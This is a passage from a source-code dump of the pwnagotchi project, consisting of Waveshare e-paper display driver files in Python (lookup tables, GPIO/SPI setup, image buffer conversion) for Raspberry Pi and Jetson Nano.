0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_wb1 = [ 0xA0, 0x01, 0x01, 0x00, 0x00, 0x01, 0x50, 0x42, 0x42, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bb1 = [ 0xA0, 0x01, 0x01, 0x00, 0x00, 0x01, 0x50, 0x42, 0x42, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] # Hardware reset def reset(self): epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) epdconfig.digital_write(self.reset_pin, 0) epdconfig.delay_ms(10) epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) def send_command(self, command): epdconfig.digital_write(self.dc_pin, 0) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, 1) def send_data(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) def ReadBusy(self): logging.debug("e-Paper busy") while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy self.send_command(0x71) epdconfig.delay_ms(100) logging.debug("e-Paper busy release") def TurnOnDisplay(self): self.send_command(0x12) epdconfig.delay_ms(10) self.ReadBusy() def init(self): if (epdconfig.module_init() != 0): return -1 # EPD hardware init start self.reset() self.send_command(0x01) # POWER SETTING self.send_data(0x03) self.send_data(0x00) self.send_data(0x2b) self.send_data(0x2b) self.send_data(0x03) self.send_command(0x06) # boost soft start self.send_data(0x17) # A self.send_data(0x17) # B self.send_data(0x17) # C self.send_command(0x04) self.ReadBusy() self.send_command(0x00) # panel setting self.send_data(0xbf) # LUT from OTP,128x296 self.send_data(0x0d) # VCOM to 0V fast self.send_command(0x30) # PLL setting self.send_data(0x21) # 3a 100HZ 29 150Hz 39 200HZ 31 171HZ self.send_command(0x61) # resolution setting self.send_data(self.width) self.send_data((self.height >> 8) & 0xff) self.send_data(self.height& 0xff) self.send_command(0x82) # vcom_DC setting self.send_data(0x28) return 0 def SetFullReg(self): self.send_command(0x82) self.send_data(0x00) self.send_command(0X50) self.send_data(0x97) # self.send_command(0x00) # panel setting # self.send_data(0x9f) # LUT from OTP,128x296 def SetPartReg(self): # self.send_command(0x00) # panel setting # self.send_data(0xbf) # LUT from OTP,128x296 self.send_command(0x82) self.send_data(0x03) self.send_command(0X50) self.send_data(0x47) self.send_command(0x20) # vcom for count in range(0, 44): self.send_data(self.lut_vcom1[count]) self.send_command(0x21) # ww -- for count in range(0, 42): self.send_data(self.lut_ww1[count]) self.send_command(0x22) # bw r for count in range(0, 42): self.send_data(self.lut_bw1[count]) self.send_command(0x23) # wb w for count in range(0, 42): self.send_data(self.lut_wb1[count]) self.send_command(0x24) # bb b for count in range(0, 42): self.send_data(self.lut_bb1[count]) def getbuffer(self, image): # logging.debug("bufsiz = ",int(self.width/8) * self.height) buf = [0xFF] * (int(self.width/8) * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() # logging.debug("imwidth = %d, imheight = %d",imwidth,imheight) if(imwidth == self.width and imheight == self.height): logging.debug("Vertical") for y in range(imheight): for x in range(imwidth): # Set the bits for the column of pixels at the current position. if pixels[x, y] == 0: buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8)) elif(imwidth == self.height and imheight == self.width): logging.debug("Horizontal") for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: buf[int((newx + newy*self.width) / 8)] &= ~(0x80 >> (y % 8)) return buf def display(self, image): if (Image == None): return self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0x00) epdconfig.delay_ms(10) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(image[i]) epdconfig.delay_ms(10) self.SetFullReg() self.TurnOnDisplay() def DisplayPartial(self, image): if (Image == None): return self.SetPartReg() self.send_command(0x91) self.send_command(0x90) self.send_data(0) self.send_data(self.width - 1) self.send_data(0) self.send_data(0) self.send_data(int(self.height / 256)) self.send_data(self.height % 256 - 1) self.send_data(0x28) self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(image[i]) epdconfig.delay_ms(10) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(~image[i]) epdconfig.delay_ms(10) self.TurnOnDisplay() def Clear(self): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0x00) epdconfig.delay_ms(10) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(0x00) epdconfig.delay_ms(10) self.SetFullReg() self.TurnOnDisplay() def sleep(self): self.send_command(0X50) self.send_data(0xf7) self.send_command(0X02) # power off self.send_command(0X07) # deep sleep self.send_data(0xA5) epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v1/epdconfig.py ================================================ # /***************************************************************************** # * | File : epdconfig.py # * | Author : Waveshare team # * | Function : Hardware underlying interface # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-06-21 # * | Info : # ****************************************************************************** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import os import logging import sys import time class RaspberryPi: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import spidev import RPi.GPIO self.GPIO = RPi.GPIO # SPI device, bus = 0, device = 0 self.SPI = spidev.SpiDev(0, 0) def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 def module_exit(self): logging.debug("spi end") self.SPI.close() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() class JetsonNano: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import ctypes find_dirs = [ os.path.dirname(os.path.realpath(__file__)), '/usr/local/lib', '/usr/lib', ] self.SPI = None for find_dir in find_dirs: so_filename = os.path.join(find_dir, 'sysfs_software_spi.so') if os.path.exists(so_filename): self.SPI = ctypes.cdll.LoadLibrary(so_filename) break if self.SPI is None: raise RuntimeError('Cannot find sysfs_software_spi.so') import Jetson.GPIO self.GPIO = Jetson.GPIO def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.SYSFS_software_spi_transfer(data[0]) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.SYSFS_software_spi_begin() return 0 def module_exit(self): logging.debug("spi end") self.SPI.SYSFS_software_spi_end() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'): implementation = RaspberryPi() else: implementation = JetsonNano() for func in [x for x in dir(implementation) if not x.startswith('_')]: setattr(sys.modules[__name__], func, getattr(implementation, func)) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v154inch/epd1in54b.py ================================================ # ***************************************************************************** # * | File : epd1in54b.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V4.0 # * | Date : 2019-06-20 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import logging from . import epdconfig # Display resolution EPD_WIDTH = 200 EPD_HEIGHT = 200 class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT lut_vcom0 = [0x0E, 0x14, 0x01, 0x0A, 0x06, 0x04, 0x0A, 0x0A, 0x0F, 0x03, 0x03, 0x0C, 0x06, 0x0A, 0x00] lut_w = [0x0E, 0x14, 0x01, 0x0A, 0x46, 0x04, 0x8A, 0x4A, 0x0F, 0x83, 0x43, 0x0C, 0x86, 0x0A, 0x04] lut_b = [0x0E, 0x14, 0x01, 0x8A, 0x06, 0x04, 0x8A, 0x4A, 0x0F, 0x83, 0x43, 0x0C, 0x06, 0x4A, 0x04] lut_g1 = [0x8E, 0x94, 0x01, 0x8A, 0x06, 0x04, 0x8A, 0x4A, 0x0F, 0x83, 0x43, 0x0C, 0x06, 0x0A, 0x04] lut_g2 = [0x8E, 0x94, 0x01, 0x8A, 0x06, 0x04, 0x8A, 0x4A, 0x0F, 0x83, 0x43, 0x0C, 0x06, 0x0A, 0x04] lut_vcom1 = [0x03, 0x1D, 0x01, 0x01, 0x08, 0x23, 0x37, 0x37, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] lut_red0 = [0x83, 0x5D, 0x01, 0x81, 0x48, 0x23, 0x77, 0x77, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] lut_red1 = [0x03, 0x1D, 0x01, 0x01, 0x08, 0x23, 0x37, 0x37, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] # Hardware reset def reset(self): epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) epdconfig.digital_write(self.reset_pin, 0) # module reset epdconfig.delay_ms(10) epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) def send_command(self, command): epdconfig.digital_write(self.dc_pin, 0) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, 1) def send_data(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) def ReadBusy(self): logging.debug("e-Paper busy") while(epdconfig.digital_read(self.busy_pin) == 0): epdconfig.delay_ms(100) logging.debug("e-Paper busy release") def set_lut_bw(self): self.send_command(0x20) # vcom for count in range(0, 15): self.send_data(self.lut_vcom0[count]) self.send_command(0x21) # ww -- for count in range(0, 15): self.send_data(self.lut_w[count]) self.send_command(0x22) # bw r for count in range(0, 15): self.send_data(self.lut_b[count]) self.send_command(0x23) # wb w for count in range(0, 15): self.send_data(self.lut_g1[count]) self.send_command(0x24) # bb b for count in range(0, 15): self.send_data(self.lut_g2[count]) def set_lut_red(self): self.send_command(0x25) for count in range(0, 15): self.send_data(self.lut_vcom1[count]) self.send_command(0x26) for count in range(0, 15): self.send_data(self.lut_red0[count]) self.send_command(0x27) for count in range(0, 15): self.send_data(self.lut_red1[count]) def init(self): if (epdconfig.module_init() != 0): return -1 # EPD hardware init start self.reset() self.send_command(0x01) # POWER_SETTING self.send_data(0x07) self.send_data(0x00) self.send_data(0x08) self.send_data(0x00) self.send_command(0x06) # BOOSTER_SOFT_START self.send_data(0x07) self.send_data(0x07) self.send_data(0x07) self.send_command(0x04) # POWER_ON self.ReadBusy() self.send_command(0X00) # PANEL_SETTING self.send_data(0xCF) self.send_command(0X50) # VCOM_AND_DATA_INTERVAL_SETTING self.send_data(0x17) self.send_command(0x30) # PLL_CONTROL self.send_data(0x39) self.send_command(0x61) # TCON_RESOLUTION set x and y self.send_data(0xC8) self.send_data(0x00) self.send_data(0xC8) self.send_command(0x82) # VCM_DC_SETTING_REGISTER self.send_data(0x0E) self.set_lut_bw() self.set_lut_red() return 0 def getbuffer(self, image): buf = [0xFF] * int(self.width * self.height / 8) # Set buffer to value of Python Imaging Library image. # Image must be in mode 1. image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size if imwidth != self.width or imheight != self.height: raise ValueError('Image must be same dimensions as display \ ({0}x{1}).' .format(self.width, self.height)) pixels = image_monocolor.load() for y in range(self.height): for x in range(self.width): # Set the bits for the column of pixels at the current position. if pixels[x, y] == 0: buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8)) return buf def display(self, blackimage, redimage): # send black data if (blackimage != None): self.send_command(0x10) # DATA_START_TRANSMISSION_1 for i in range(0, int(self.width * self.height / 8)): temp = 0x00 for bit in range(0, 4): if (blackimage[i] & (0x80 >> bit) != 0): temp |= 0xC0 >> (bit * 2) self.send_data(temp) temp = 0x00 for bit in range(4, 8): if (blackimage[i] & (0x80 >> bit) != 0): temp |= 0xC0 >> ((bit - 4) * 2) self.send_data(temp) # send red data if (redimage != None): self.send_command(0x13) # DATA_START_TRANSMISSION_2 for i in range(0, int(self.width * self.height / 8)): self.send_data(redimage[i]) self.send_command(0x12) # DISPLAY_REFRESH self.ReadBusy() def Clear(self): self.send_command(0x10) # DATA_START_TRANSMISSION_1 for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_data(0xFF) self.send_command(0x13) # DATA_START_TRANSMISSION_2 for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_command(0x12) # DISPLAY_REFRESH self.ReadBusy() def sleep(self): self.send_command(0x50) # VCOM_AND_DATA_INTERVAL_SETTING self.send_data(0x17) self.send_command(0x82) # to solve Vcom drop self.send_data(0x00) self.send_command(0x01) # power setting self.send_data(0x02) # gate switch to external self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.ReadBusy() self.send_command(0x02) # power off epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v154inch/epdconfig.py ================================================ # /***************************************************************************** # * | File : epdconfig.py # * | Author : Waveshare team # * | Function : Hardware underlying interface # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-06-21 # * | Info : # ****************************************************************************** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import os import logging import sys import time class RaspberryPi: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import spidev import RPi.GPIO self.GPIO = RPi.GPIO # SPI device, bus = 0, device = 0 self.SPI = spidev.SpiDev(0, 0) def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(pin) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 def module_exit(self): logging.debug("spi end") self.SPI.close() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() class JetsonNano: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import ctypes find_dirs = [ os.path.dirname(os.path.realpath(__file__)), '/usr/local/lib', '/usr/lib', ] self.SPI = None for find_dir in find_dirs: so_filename = os.path.join(find_dir, 'sysfs_software_spi.so') if os.path.exists(so_filename): self.SPI = ctypes.cdll.LoadLibrary(so_filename) break if self.SPI is None: raise RuntimeError('Cannot find sysfs_software_spi.so') import Jetson.GPIO self.GPIO = Jetson.GPIO def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.SYSFS_software_spi_transfer(data[0]) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.SYSFS_software_spi_begin() return 0 def module_exit(self): logging.debug("spi end") self.SPI.SYSFS_software_spi_end() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'): implementation = RaspberryPi() else: implementation = JetsonNano() for func in [x for x in dir(implementation) if not x.startswith('_')]: setattr(sys.modules[__name__], func, getattr(implementation, func)) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v2/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v2/waveshare.py ================================================ # //***************************************************************************** # * | File : epd2in13.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V3.0 # * | Date : 2018-11-01 # * | Info : python2 demo # * 1.Remove: # digital_write(self, pin, value) # digital_read(self, pin) # delay_ms(self, delaytime) # set_lut(self, lut) # self.lut = self.lut_full_update # * 2.Change: # display_frame -> TurnOnDisplay # set_memory_area -> SetWindow # set_memory_pointer -> SetCursor # * 3.How to use # epd = epd2in13.EPD() # epd.init(epd.lut_full_update) # image = Image.new('1', (epd2in13.EPD_WIDTH, epd2in13.EPD_HEIGHT), 255) # ... # drawing ...... # ... # epd.display(getbuffer(image)) # ******************************************************************************// # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and//or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import time import spidev import RPi.GPIO as GPIO from PIL import Image # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 # SPI device, bus = 0, device = 0 SPI = spidev.SpiDev(0, 0) def digital_write(pin, value): GPIO.output(pin, value) def digital_read(pin): return GPIO.input(BUSY_PIN) def delay_ms(delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(data): SPI.writebytes(data) def module_init(): GPIO.setmode(GPIO.BCM) GPIO.setwarnings(False) GPIO.setup(RST_PIN, GPIO.OUT) GPIO.setup(DC_PIN, GPIO.OUT) GPIO.setup(CS_PIN, GPIO.OUT) GPIO.setup(BUSY_PIN, GPIO.IN) SPI.max_speed_hz = 2000000 SPI.mode = 0b00 return 0; # Display resolution EPD_WIDTH = 122 EPD_HEIGHT = 250 class EPD: def __init__(self): self.reset_pin = RST_PIN self.dc_pin = DC_PIN self.busy_pin = BUSY_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT FULL_UPDATE = 0 PART_UPDATE = 1 lut_full_update = [ 0x80, 0x60, 0x40, 0x00, 0x00, 0x00, 0x00, # LUT0: BB: VS 0 ~7 0x10, 0x60, 0x20, 0x00, 0x00, 0x00, 0x00, # LUT1: BW: VS 0 ~7 0x80, 0x60, 0x40, 0x00, 0x00, 0x00, 0x00, # LUT2: WB: VS 0 ~7 0x10, 0x60, 0x20, 0x00, 0x00, 0x00, 0x00, # LUT3: WW: VS 0 ~7 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT4: VCOM: VS 0 ~7 0x03, 0x03, 0x00, 0x00, 0x02, # TP0 A~D RP0 0x09, 0x09, 0x00, 0x00, 0x02, # TP1 A~D RP1 0x03, 0x03, 0x00, 0x00, 0x02, # TP2 A~D RP2 0x00, 0x00, 0x00, 0x00, 0x00, # TP3 A~D RP3 0x00, 0x00, 0x00, 0x00, 0x00, # TP4 A~D RP4 0x00, 0x00, 0x00, 0x00, 0x00, # TP5 A~D RP5 0x00, 0x00, 0x00, 0x00, 0x00, # TP6 A~D RP6 0x15, 0x41, 0xA8, 0x32, 0x30, 0x0A, ] lut_partial_update = [ # 20 bytes 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT0: BB: VS 0 ~7 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT1: BW: VS 0 ~7 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT2: WB: VS 0 ~7 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT3: WW: VS 0 ~7 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT4: VCOM: VS 0 ~7 0x0A, 0x00, 0x00, 0x00, 0x00, # TP0 A~D RP0 0x00, 0x00, 0x00, 0x00, 0x00, # TP1 A~D RP1 0x00, 0x00, 0x00, 0x00, 0x00, # TP2 A~D RP2 0x00, 0x00, 0x00, 0x00, 0x00, # TP3 A~D RP3 0x00, 0x00, 0x00, 0x00, 0x00, # TP4 A~D RP4 0x00, 0x00, 0x00, 0x00, 0x00, # TP5 A~D RP5 0x00, 0x00, 0x00, 0x00, 0x00, # TP6 A~D RP6 0x15, 0x41, 0xA8, 0x32, 0x30, 0x0A, ] # Hardware reset def reset(self): digital_write(self.reset_pin, GPIO.HIGH) delay_ms(200) digital_write(self.reset_pin, GPIO.LOW) # module reset delay_ms(200) digital_write(self.reset_pin, GPIO.HIGH) delay_ms(200) def send_command(self, command): digital_write(self.dc_pin, GPIO.LOW) spi_writebyte([command]) def send_data(self, data): digital_write(self.dc_pin, GPIO.HIGH) spi_writebyte([data]) def wait_until_idle(self): while (digital_read(self.busy_pin) == 1): # 0: idle, 1: busy delay_ms(100) def TurnOnDisplay(self): self.send_command(0x22) self.send_data(0xC7) self.send_command(0x20) self.wait_until_idle() def init(self, update): if (module_init() != 0): return -1 # EPD hardware init start self.reset() if (update == self.FULL_UPDATE): self.wait_until_idle() self.send_command(0x12) # soft reset self.wait_until_idle() self.send_command(0x74) # set analog block control self.send_data(0x54) self.send_command(0x7E) # set digital block control self.send_data(0x3B) self.send_command(0x01) # Driver output control self.send_data(0xF9) self.send_data(0x00) self.send_data(0x00) self.send_command(0x11) # data entry mode self.send_data(0x01) self.send_command(0x44) # set Ram-X address start//end position self.send_data(0x00) self.send_data(0x0F) # 0x0C-->(15+1)*8=128 self.send_command(0x45) # set Ram-Y address start//end position self.send_data(0xF9) # 0xF9-->(249+1)=250 self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.send_command(0x3C) # BorderWavefrom self.send_data(0x03) self.send_command(0x2C) # VCOM Voltage self.send_data(0x55) # self.send_command(0x03) self.send_data(self.lut_full_update[70]) self.send_command(0x04) # self.send_data(self.lut_full_update[71]) self.send_data(self.lut_full_update[72]) self.send_data(self.lut_full_update[73]) self.send_command(0x3A) # Dummy Line self.send_data(self.lut_full_update[74]) self.send_command(0x3B) # Gate time self.send_data(self.lut_full_update[75]) self.send_command(0x32) for count in range(70): self.send_data(self.lut_full_update[count]) self.send_command(0x4E) # set RAM x address count to 0 self.send_data(0x00) self.send_command(0x4F) # set RAM y address count to 0X127 self.send_data(0xF9) self.send_data(0x00) self.wait_until_idle() else: self.send_command(0x2C) # VCOM Voltage self.send_data(0x26) self.wait_until_idle() self.send_command(0x32) for count in range(70): self.send_data(self.lut_partial_update[count]) self.send_command(0x37) self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.send_data(0x00) self.send_data(0x40) self.send_data(0x00) self.send_data(0x00) self.send_command(0x22) self.send_data(0xC0) self.send_command(0x20) self.wait_until_idle() self.send_command(0x3C) # BorderWavefrom self.send_data(0x01) return 0 def getbuffer(self, image): if self.width % 8 == 0: linewidth = self.width // 8 else: linewidth = self.width // 8 + 1 buf = [0xFF] * (linewidth * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() if (imwidth == self.width and imheight == self.height): # print("Vertical") for y in range(imheight): for x in range(imwidth): if pixels[x, y] == 0: x = imwidth - x buf[x // 8 + y * linewidth] &= ~(0x80 >> (x % 8)) elif (imwidth == self.height and imheight == self.width): # print("Horizontal") for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: newy = imwidth - newy - 1 buf[newx // 8 + newy * linewidth] &= ~(0x80 >> (y % 8)) return buf def display(self, image): if self.width % 8 == 0: linewidth = self.width // 8 else: linewidth = self.width // 8 + 1 self.send_command(0x24) for j in range(0, self.height): for i in range(0, linewidth): self.send_data(image[i + j * linewidth]) self.TurnOnDisplay() def displayPartial(self, image): if self.width % 8 == 0: linewidth = self.width // 8 else: linewidth = self.width // 8 + 1 self.send_command(0x24) for j in range(0, self.height): for i in range(0, linewidth): self.send_data(image[i + j * linewidth]) self.send_command(0x26) for j in range(0, self.height): for i in range(0, linewidth): self.send_data(~image[i + j * linewidth]) self.TurnOnDisplay() def Clear(self, color): if self.width % 8 == 0: linewidth = self.width // 8 else: linewidth = self.width // 8 + 1 # print(linewidth) self.send_command(0x24) for j in range(0, self.height): for i in range(0, linewidth): self.send_data(color) self.TurnOnDisplay() def sleep(self): self.send_command(0x22) # POWER OFF 